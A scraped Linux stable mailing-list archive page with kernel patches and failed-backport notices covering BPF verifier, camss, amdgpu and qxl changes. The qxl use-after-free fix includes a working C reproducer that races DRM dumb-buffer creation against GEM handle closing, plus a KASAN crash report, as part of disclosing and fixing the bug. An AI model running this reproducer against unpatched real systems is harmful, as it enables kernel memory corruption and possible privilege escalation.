@@ -14047,6 +14047,12 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env,
return -EINVAL;
}
+ /* check src2 operand */
+ err = check_reg_arg(env, insn->dst_reg, SRC_OP);
+ if (err)
+ return err;
+
+ dst_reg = ®s[insn->dst_reg];
if (BPF_SRC(insn->code) == BPF_X) {
if (insn->imm != 0) {
verbose(env, "BPF_JMP/JMP32 uses reserved fields\n");
@@ -14058,12 +14064,13 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env,
if (err)
return err;
- if (is_pointer_value(env, insn->src_reg)) {
+ src_reg = ®s[insn->src_reg];
+ if (!(reg_is_pkt_pointer_any(dst_reg) && reg_is_pkt_pointer_any(src_reg)) &&
+ is_pointer_value(env, insn->src_reg)) {
verbose(env, "R%d pointer comparison prohibited\n",
insn->src_reg);
return -EACCES;
}
- src_reg = ®s[insn->src_reg];
} else {
if (insn->src_reg != BPF_REG_0) {
verbose(env, "BPF_JMP/JMP32 uses reserved fields\n");
@@ -14071,12 +14078,6 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env,
}
}
- /* check src2 operand */
- err = check_reg_arg(env, insn->dst_reg, SRC_OP);
- if (err)
- return err;
-
- dst_reg = ®s[insn->dst_reg];
is_jmp32 = BPF_CLASS(insn->code) == BPF_JMP32;
if (BPF_SRC(insn->code) == BPF_K) {
--
1.8.3.1
2 years, 4 months
- 2
- 1
[PATCH v0 7/9] media: qcom: camss: Fix invalid clock enable bit disjunction
by Bryan O'Donoghue
define CSIPHY_3PH_CMN_CSI_COMMON_CTRL5_CLK_ENABLE BIT(7)
disjunction for gen2 ? BIT(7) : is a nop we are setting the same bit
either way.
Fixes: 4abb21309fda ("media: camss: csiphy: Move to hardcode CSI Clock Lane number")
Cc: stable(a)vger.kernel.org
Signed-off-by: Bryan O'Donoghue <bryan.odonoghue(a)linaro.org>
---
drivers/media/platform/qcom/camss/camss-csiphy-3ph-1-0.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/media/platform/qcom/camss/camss-csiphy-3ph-1-0.c b/drivers/media/platform/qcom/camss/camss-csiphy-3ph-1-0.c
index 04baa80494c66..4dba61b8d3f2a 100644
--- a/drivers/media/platform/qcom/camss/camss-csiphy-3ph-1-0.c
+++ b/drivers/media/platform/qcom/camss/camss-csiphy-3ph-1-0.c
@@ -476,7 +476,7 @@ static void csiphy_lanes_enable(struct csiphy_device *csiphy,
settle_cnt = csiphy_settle_cnt_calc(link_freq, csiphy->timer_clk_rate);
- val = is_gen2 ? BIT(7) : CSIPHY_3PH_CMN_CSI_COMMON_CTRL5_CLK_ENABLE;
+ val = CSIPHY_3PH_CMN_CSI_COMMON_CTRL5_CLK_ENABLE;
for (i = 0; i < c->num_data; i++)
val |= BIT(c->data[i].pos * 2);
--
2.41.0
2 years, 4 months
- 2
- 1
FAILED: patch "[PATCH] drm/amdgpu: skip fence GFX interrupts disable/enable for S0ix" failed to apply to 5.15-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.15-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.15.y
git checkout FETCH_HEAD
git cherry-pick -x f1740b1ab2703b2a057da7cf33b03297e0381aa0
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082108-wham-accent-52a6@gregkh' --subject-prefix 'PATCH 5.15.y' HEAD^..
Possible dependencies:
f1740b1ab270 ("drm/amdgpu: skip fence GFX interrupts disable/enable for S0ix")
3083b1007d4b ("drm/amdgpu: skip disabling fence driver src_irqs when device is unplugged")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From f1740b1ab2703b2a057da7cf33b03297e0381aa0 Mon Sep 17 00:00:00 2001
From: Tim Huang <Tim.Huang(a)amd.com>
Date: Mon, 14 Aug 2023 15:13:04 +0800
Subject: [PATCH] drm/amdgpu: skip fence GFX interrupts disable/enable for S0ix
GFX v11.0.1 reported fence fallback timer expired issue on
SDMA and GFX rings after S0ix resume. This is generated by
EOP interrupts are disabled when S0ix suspend but fails to
re-enable when resume because of the GFX is in GFXOFF.
[ 203.349571] [drm] Fence fallback timer expired on ring sdma0
[ 203.349572] [drm] Fence fallback timer expired on ring gfx_0.0.0
[ 203.861635] [drm] Fence fallback timer expired on ring gfx_0.0.0
For S0ix, GFX is in GFXOFF state, avoid to touch the GFX registers
to configure the fence driver interrupts for rings that belong to GFX.
The interrupts configuration will be restored by GFXOFF exit.
Signed-off-by: Tim Huang <Tim.Huang(a)amd.com>
Reviewed-by: Mario Limonciello <mario.limonciello(a)amd.com>
Signed-off-by: Alex Deucher <alexander.deucher(a)amd.com>
Cc: stable(a)vger.kernel.org
diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c
index c694b41f6461..7537f5aa76f0 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c
@@ -551,6 +551,41 @@ int amdgpu_fence_driver_sw_init(struct amdgpu_device *adev)
return 0;
}
+/**
+ * amdgpu_fence_need_ring_interrupt_restore - helper function to check whether
+ * fence driver interrupts need to be restored.
+ *
+ * @ring: ring that to be checked
+ *
+ * Interrupts for rings that belong to GFX IP don't need to be restored
+ * when the target power state is s0ix.
+ *
+ * Return true if need to restore interrupts, false otherwise.
+ */
+static bool amdgpu_fence_need_ring_interrupt_restore(struct amdgpu_ring *ring)
+{
+ struct amdgpu_device *adev = ring->adev;
+ bool is_gfx_power_domain = false;
+
+ switch (ring->funcs->type) {
+ case AMDGPU_RING_TYPE_SDMA:
+ /* SDMA 5.x+ is part of GFX power domain so it's covered by GFXOFF */
+ if (adev->ip_versions[SDMA0_HWIP][0] >= IP_VERSION(5, 0, 0))
+ is_gfx_power_domain = true;
+ break;
+ case AMDGPU_RING_TYPE_GFX:
+ case AMDGPU_RING_TYPE_COMPUTE:
+ case AMDGPU_RING_TYPE_KIQ:
+ case AMDGPU_RING_TYPE_MES:
+ is_gfx_power_domain = true;
+ break;
+ default:
+ break;
+ }
+
+ return !(adev->in_s0ix && is_gfx_power_domain);
+}
+
/**
* amdgpu_fence_driver_hw_fini - tear down the fence driver
* for all possible rings.
@@ -579,7 +614,8 @@ void amdgpu_fence_driver_hw_fini(struct amdgpu_device *adev)
amdgpu_fence_driver_force_completion(ring);
if (!drm_dev_is_unplugged(adev_to_drm(adev)) &&
- ring->fence_drv.irq_src)
+ ring->fence_drv.irq_src &&
+ amdgpu_fence_need_ring_interrupt_restore(ring))
amdgpu_irq_put(adev, ring->fence_drv.irq_src,
ring->fence_drv.irq_type);
@@ -655,7 +691,8 @@ void amdgpu_fence_driver_hw_init(struct amdgpu_device *adev)
continue;
/* enable the interrupt */
- if (ring->fence_drv.irq_src)
+ if (ring->fence_drv.irq_src &&
+ amdgpu_fence_need_ring_interrupt_restore(ring))
amdgpu_irq_get(adev, ring->fence_drv.irq_src,
ring->fence_drv.irq_type);
}
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] drm/amd/pm: disallow the fan setting if there is no fan on" failed to apply to 6.1-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.1-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.1.y
git checkout FETCH_HEAD
git cherry-pick -x b6360a5ec31d160d58c1a64387b323b556cedca8
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082143-underage-slain-d7a5@gregkh' --subject-prefix 'PATCH 6.1.y' HEAD^..
Possible dependencies:
b6360a5ec31d ("drm/amd/pm: disallow the fan setting if there is no fan on smu 13.0.0")
61319b8e3b58 ("drm/amd/pm: disable the SMU13 OD feature support temporarily")
8f4f5f0b901a ("drm/amd/pm: fulfill SMU13 OD settings init and restore")
f6c0cd55fed8 ("drm/amd/pm: Enable ecc_info table support for smu v13_0_10")
1794f6a9535b ("drm/amd/pm: enable GPO dynamic control support for SMU13.0.0")
48aa62f07467 ("drm/amd/pm: Enable bad memory page/channel recording support for smu v13_0_0")
8ae5a38c8cb3 ("drm/amd/pm: enable runpm support over BACO for SMU13.0.0")
60cfad329ab8 ("drm/amd/pm: enable mode1 reset on smu_v13_0_10")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From b6360a5ec31d160d58c1a64387b323b556cedca8 Mon Sep 17 00:00:00 2001
From: Kenneth Feng <kenneth.feng(a)amd.com>
Date: Wed, 9 Aug 2023 18:06:05 +0800
Subject: [PATCH] drm/amd/pm: disallow the fan setting if there is no fan on
smu 13.0.0
drm/amd/pm: disallow the fan setting if there is no fan on smu 13.0.0
V2: depend on pm.no_fan to check
Signed-off-by: Kenneth Feng <kenneth.feng(a)amd.com>
Reviewed-by: Alex Deucher <alexander.deucher(a)amd.com>
Reviewed-by: Lijo Lazar <lijo.lazar(a)amd.com>
Signed-off-by: Alex Deucher <alexander.deucher(a)amd.com>
Cc: stable(a)vger.kernel.org
diff --git a/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c b/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c
index fddcd834bcec..0fb6be11a0cc 100644
--- a/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c
+++ b/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c
@@ -331,6 +331,7 @@ static int smu_v13_0_0_check_powerplay_table(struct smu_context *smu)
struct smu_13_0_0_powerplay_table *powerplay_table =
table_context->power_play_table;
struct smu_baco_context *smu_baco = &smu->smu_baco;
+ PPTable_t *pptable = smu->smu_table.driver_pptable;
#if 0
PPTable_t *pptable = smu->smu_table.driver_pptable;
const OverDriveLimits_t * const overdrive_upperlimits =
@@ -371,6 +372,9 @@ static int smu_v13_0_0_check_powerplay_table(struct smu_context *smu)
table_context->thermal_controller_type =
powerplay_table->thermal_controller_type;
+ smu->adev->pm.no_fan =
+ !(pptable->SkuTable.FeaturesToRun[0] & (1 << FEATURE_FAN_CONTROL_BIT));
+
return 0;
}
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] drm/amd/pm: disallow the fan setting if there is no fan on" failed to apply to 6.4-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.4-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.4.y
git checkout FETCH_HEAD
git cherry-pick -x b6360a5ec31d160d58c1a64387b323b556cedca8
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082142-gizmo-recital-659c@gregkh' --subject-prefix 'PATCH 6.4.y' HEAD^..
Possible dependencies:
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From b6360a5ec31d160d58c1a64387b323b556cedca8 Mon Sep 17 00:00:00 2001
From: Kenneth Feng <kenneth.feng(a)amd.com>
Date: Wed, 9 Aug 2023 18:06:05 +0800
Subject: [PATCH] drm/amd/pm: disallow the fan setting if there is no fan on
smu 13.0.0
drm/amd/pm: disallow the fan setting if there is no fan on smu 13.0.0
V2: depend on pm.no_fan to check
Signed-off-by: Kenneth Feng <kenneth.feng(a)amd.com>
Reviewed-by: Alex Deucher <alexander.deucher(a)amd.com>
Reviewed-by: Lijo Lazar <lijo.lazar(a)amd.com>
Signed-off-by: Alex Deucher <alexander.deucher(a)amd.com>
Cc: stable(a)vger.kernel.org
diff --git a/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c b/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c
index fddcd834bcec..0fb6be11a0cc 100644
--- a/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c
+++ b/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c
@@ -331,6 +331,7 @@ static int smu_v13_0_0_check_powerplay_table(struct smu_context *smu)
struct smu_13_0_0_powerplay_table *powerplay_table =
table_context->power_play_table;
struct smu_baco_context *smu_baco = &smu->smu_baco;
+ PPTable_t *pptable = smu->smu_table.driver_pptable;
#if 0
PPTable_t *pptable = smu->smu_table.driver_pptable;
const OverDriveLimits_t * const overdrive_upperlimits =
@@ -371,6 +372,9 @@ static int smu_v13_0_0_check_powerplay_table(struct smu_context *smu)
table_context->thermal_controller_type =
powerplay_table->thermal_controller_type;
+ smu->adev->pm.no_fan =
+ !(pptable->SkuTable.FeaturesToRun[0] & (1 << FEATURE_FAN_CONTROL_BIT));
+
return 0;
}
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] drm/qxl: fix UAF on handle creation" failed to apply to 4.14-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.14-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.14.y
git checkout FETCH_HEAD
git cherry-pick -x c611589b4259ed63b9b77be6872b1ce07ec0ac16
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082136-escapist-shell-3d59@gregkh' --subject-prefix 'PATCH 4.14.y' HEAD^..
Possible dependencies:
c611589b4259 ("drm/qxl: fix UAF on handle creation")
f4a84e165e6d ("drm/qxl: allocate dumb buffers in ram")
9c86fb18ad9d ("drm/qxl: remove _unlocked suffix in drm_gem_object_put_unlocked")
e0828d54c81c ("drm/qxl: use embedded gem object")
90adda2ce898 ("drm/qxl: cover all crtcs in shadow bo.")
4979904c62b9 ("drm/qxl: use shadow bo directly")
166205444b90 ("drm/qxl: track primary bo")
fb7ebc0119ed ("drm/qxl: drop unused offset parameter from qxl_io_create_primary()")
1f85535cd04c ("drm/qxl: move qxl_primary_apply_cursor to correct place")
f3bc22f04d44 ("drm/qxl: use QXL_GEM_DOMAIN_SURFACE for dumb gem objects")
247156d7e2fa ("drm/qxl: use QXL_GEM_DOMAIN_SURFACE for shadow bo.")
94feeaafbefd ("drm/qxl: Use 'unsigned int' instead of 'bool'")
1b000494978d ("drm/qxl: Use 'unsigned int' instead of 'usigned'")
408799eb4ad4 ("drm/qxl: Add line after variable declarations")
bf8744e40cd6 ("qxl: refactor to use drm_fb_helper_fbdev_setup")
cc4e44d51569 ("qxl: drop dummy functions")
a6d3c4d79822 ("qxl: hook monitors_config updates into crtc, not encoder.")
998010bfae6e ("qxl: move qxl_send_monitors_config()")
735581a0a13c ("qxl: remove qxl_io_log()")
2793c1d77aa8 ("drm/qxl: Replace drm_gem_object_reference/unreference() with _get/put()")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From c611589b4259ed63b9b77be6872b1ce07ec0ac16 Mon Sep 17 00:00:00 2001
From: Wander Lairson Costa <wander(a)redhat.com>
Date: Mon, 14 Aug 2023 13:51:19 -0300
Subject: [PATCH] drm/qxl: fix UAF on handle creation
qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.
A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.
Reproducer:
int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};
void gem_close(int handle);
void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
gem_close(args.handle);
}
return NULL;
}
void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}
int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);
if(dri_fd == -1)
return -1;
pthread_t tid1;
if(pthread_create(&tid1,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;
}
This is a KASAN report:
==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr ffff88801136c240 by task poc/515
CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:
<TASK>
__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK>
Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
____kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
Freed by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
____kasan_slab_free linux/mm/kasan/common.c:236
____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
kasan_slab_free linux/./include/linux/kasan.h:162
slab_free_hook linux/mm/slub.c:1781
slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
slab_free linux/mm/slub.c:3787
__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
kfree+0x78/0x120 linux/mm/slab_common.c:1019
qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
kref_put linux/./include/linux/kref.h:65
ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
kref_put linux/./include/linux/kref.h:65
__drm_gem_object_put linux/./include/drm/drm_gem.h:431
drm_gem_object_put linux/./include/drm/drm_gem.h:444
qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 576 bytes inside of
freed 1024-byte region [ffff88801136c000, ffff88801136c400)
The buggy address belongs to the physical page:
page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint
Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.
The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
Link: https://www.zerodayinitiative.com/
Signed-off-by: Wander Lairson Costa <wander(a)redhat.com>
Cc: stable(a)vger.kernel.org
Reviewed-by: Dave Airlie <airlied(a)redhat.com>
Signed-off-by: Dave Airlie <airlied(a)redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander…
diff --git a/drivers/gpu/drm/qxl/qxl_drv.h b/drivers/gpu/drm/qxl/qxl_drv.h
index ea993d7162e8..307a890fde13 100644
--- a/drivers/gpu/drm/qxl/qxl_drv.h
+++ b/drivers/gpu/drm/qxl/qxl_drv.h
@@ -310,7 +310,7 @@ int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
u32 domain,
size_t size,
struct qxl_surface *surf,
- struct qxl_bo **qobj,
+ struct drm_gem_object **gobj,
uint32_t *handle);
void qxl_gem_object_free(struct drm_gem_object *gobj);
int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv);
diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c
index d636ba685451..17df5c7ccf69 100644
--- a/drivers/gpu/drm/qxl/qxl_dumb.c
+++ b/drivers/gpu/drm/qxl/qxl_dumb.c
@@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file *file_priv,
{
struct qxl_device *qdev = to_qxl(dev);
struct qxl_bo *qobj;
+ struct drm_gem_object *gobj;
uint32_t handle;
int r;
struct qxl_surface surf;
@@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file *file_priv,
r = qxl_gem_object_create_with_handle(qdev, file_priv,
QXL_GEM_DOMAIN_CPU,
- args->size, &surf, &qobj,
+ args->size, &surf, &gobj,
&handle);
if (r)
return r;
+ qobj = gem_to_qxl_bo(gobj);
qobj->is_dumb = true;
+ drm_gem_object_put(gobj);
args->pitch = pitch;
args->handle = handle;
return 0;
diff --git a/drivers/gpu/drm/qxl/qxl_gem.c b/drivers/gpu/drm/qxl/qxl_gem.c
index a08da0bd9098..fc5e3763c359 100644
--- a/drivers/gpu/drm/qxl/qxl_gem.c
+++ b/drivers/gpu/drm/qxl/qxl_gem.c
@@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_device *qdev, int size,
return 0;
}
+/*
+ * If the caller passed a valid gobj pointer, it is responsible to call
+ * drm_gem_object_put() when it no longer needs to acess the object.
+ *
+ * If gobj is NULL, it is handled internally.
+ */
int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
struct drm_file *file_priv,
u32 domain,
size_t size,
struct qxl_surface *surf,
- struct qxl_bo **qobj,
+ struct drm_gem_object **gobj,
uint32_t *handle)
{
- struct drm_gem_object *gobj;
int r;
+ struct drm_gem_object *local_gobj;
- BUG_ON(!qobj);
BUG_ON(!handle);
r = qxl_gem_object_create(qdev, size, 0,
domain,
false, false, surf,
- &gobj);
+ &local_gobj);
if (r)
return -ENOMEM;
- r = drm_gem_handle_create(file_priv, gobj, handle);
+ r = drm_gem_handle_create(file_priv, local_gobj, handle);
if (r)
return r;
- /* drop reference from allocate - handle holds it now */
- *qobj = gem_to_qxl_bo(gobj);
- drm_gem_object_put(gobj);
+
+ if (gobj)
+ *gobj = local_gobj;
+ else
+ /* drop reference from allocate - handle holds it now */
+ drm_gem_object_put(local_gobj);
+
return 0;
}
diff --git a/drivers/gpu/drm/qxl/qxl_ioctl.c b/drivers/gpu/drm/qxl/qxl_ioctl.c
index 30f58b21372a..dd0f834d881c 100644
--- a/drivers/gpu/drm/qxl/qxl_ioctl.c
+++ b/drivers/gpu/drm/qxl/qxl_ioctl.c
@@ -38,7 +38,6 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr
struct qxl_device *qdev = to_qxl(dev);
struct drm_qxl_alloc *qxl_alloc = data;
int ret;
- struct qxl_bo *qobj;
uint32_t handle;
u32 domain = QXL_GEM_DOMAIN_VRAM;
@@ -50,7 +49,7 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr
domain,
qxl_alloc->size,
NULL,
- &qobj, &handle);
+ NULL, &handle);
if (ret) {
DRM_ERROR("%s: failed to create gem ret=%d\n",
__func__, ret);
@@ -386,7 +385,6 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi
{
struct qxl_device *qdev = to_qxl(dev);
